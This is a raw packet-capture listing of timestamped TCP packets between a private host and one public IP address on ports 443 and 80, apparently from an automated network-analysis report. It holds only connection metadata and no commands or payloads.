Dec 11, 2024 12:14:48.648024082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.648149014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.648200989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.648200989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.648210049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.648250103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.648298979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.648348093 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.649177074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.649187088 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.649403095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.649403095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.649403095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.649408102 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.649496078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.649555922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.650347948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.650360107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.650511026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.650530100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.650530100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.650538921 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.650599003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.650599003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.650712967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.651551962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.651562929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.651662111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.651738882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.651738882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.651746035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.651784897 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.651812077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.651906013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.652657032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.652667999 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.652806997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.652806997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.652904034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.652908087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.652949095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.653079987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.653505087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.653553963 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.653687000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.653687000 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.653737068 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.653737068 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.653785944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:49.148741007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:49.164834976 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:49.590409994 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:52.246040106 CET	49777	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:52.246078014 CET	443	49777	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:52.246285915 CET	49777	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:52.246442080 CET	49777	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:52.246459007 CET	443	49777	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:52.482469082 CET	443	49777	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:52.483277082 CET	49777	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:52.483293056 CET	443	49777	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:52.483491898 CET	49777	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:52.483505964 CET	443	49777	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.065352917 CET	443	49777	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.065416098 CET	443	49777	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.065610886 CET	49777	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.065934896 CET	49777	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.087074995 CET	49779	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.087096930 CET	443	49779	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.087255001 CET	49779	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.087452888 CET	49779	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.087460041 CET	443	49779	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.321685076 CET	443	49779	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.325006008 CET	49779	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.325020075 CET	443	49779	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.325212955 CET	49779	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.325225115 CET	443	49779	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.900532961 CET	443	49779	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.900567055 CET	443	49779	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:53.900847912 CET	49779	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:53.900924921 CET	49779	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.420849085 CET	49780	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.420874119 CET	443	49780	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:55.420998096 CET	49780	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.421150923 CET	49780	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.421163082 CET	443	49780	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:55.521560907 CET	49781	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.635338068 CET	80	49781	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:55.635519981 CET	49781	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.635677099 CET	49781	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.654963017 CET	443	49780	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:55.655841112 CET	49780	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.655855894 CET	443	49780	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:55.656048059 CET	49780	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:55.656058073 CET	443	49780	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:55.749434948 CET	80	49781	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:56.111176014 CET	80	49781	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:56.111187935 CET	80	49781	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:56.111196995 CET	80	49781	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:56.111202955 CET	80	49781	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:56.111416101 CET	49781	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:56.466312885 CET	443	49780	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:56.466366053 CET	443	49780	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:56.467370033 CET	49780	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:56.467555046 CET	49780	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:45.001264095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:45.001291037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:45.001447916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:45.019052029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:45.019061089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:45.253788948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:45.254134893 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:45.256180048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:45.256189108 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:45.256426096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:45.301789045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:45.342210054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.214684010 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.214827061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.214910030 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.214987040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.215010881 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.215035915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.215090990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.215193987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.215204000 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.215389013 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.262289047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.457626104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.457755089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.457986116 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.458019972 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.458251953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.458471060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.458504915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.458578110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.458659887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.458745003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.458780050 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.458935022 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.512341976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.703016043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.703139067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.703397989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.703450918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.703711987 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.703794956 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.704000950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.704003096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.704016924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.704174042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.704197884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.704209089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.704417944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.704417944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.704417944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.953852892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.954094887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.954382896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.954406023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.954452038 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.954462051 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.954881907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.954957962 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.954999924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.955084085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.955130100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.955132961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.955291033 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.955874920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.955925941 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.955991030 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.956222057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.956222057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:46.956227064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:46.956414938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.198625088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.198945045 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.199016094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.199079037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.199084997 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.199270010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.199826002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.199892998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.199987888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.199987888 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.200001955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.200366974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.200788975 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.200856924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.201138020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.201138973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.201148987 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.201319933 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.201711893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.201905012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.447133064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.447444916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.447469950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.447813988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.447824955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.448002100 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.448256016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.448573112 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.448760986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.448760986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.448767900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.448942900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.449258089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.449487925 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.449644089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.449644089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.449661016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.450243950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.450252056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.450262070 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.450469971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.450481892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.450664997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.450680971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.450839043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.451139927 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.451328039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.695269108 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.695410967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.695720911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.695885897 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.695908070 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.696127892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.696527004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.696602106 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.696696043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.696791887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.696804047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.697082043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.697983980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.698354006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.698390961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.698549986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.698739052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.699160099 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.699256897 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.699515104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.699515104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.699532032 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.699700117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.700124025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.700196028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.700290918 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.700292110 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.700306892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.700566053 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.946818113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.947072029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.947168112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.947266102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.947271109 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.947454929 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.947841883 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.947884083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.948164940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.948164940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.948170900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.948357105 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.948857069 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.949114084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.949218988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.949404955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.949408054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.949589968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.949718952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.949822903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.950040102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.950040102 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.950043917 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.950229883 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.950799942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.950855017 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.950951099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.950951099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.950956106 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.951141119 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.951756954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.952086926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:47.952094078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:47.952704906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.193447113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.193451881 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.193511963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.193608999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.193608999 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.193615913 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.193784952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.193784952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.193784952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.193789959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.193943977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.195426941 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.195445061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.195607901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.195789099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.195789099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.195790052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.195795059 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.195952892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.197377920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.197395086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.197540998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.197540998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.197721004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.197725058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.197910070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.197910070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.197910070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.198215008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.198369980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.198417902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.201708078 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.202071905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.202071905 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.442426920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.442433119 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.442493916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.442589045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.442589045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.442768097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.442773104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.442951918 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.444406986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.444425106 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.444581032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.444581032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.444581032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.444588900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.444765091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.444765091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.444952011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.446322918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.446340084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.446480989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.446664095 CET	49782	443	192.168.11.20	172.67.128.139
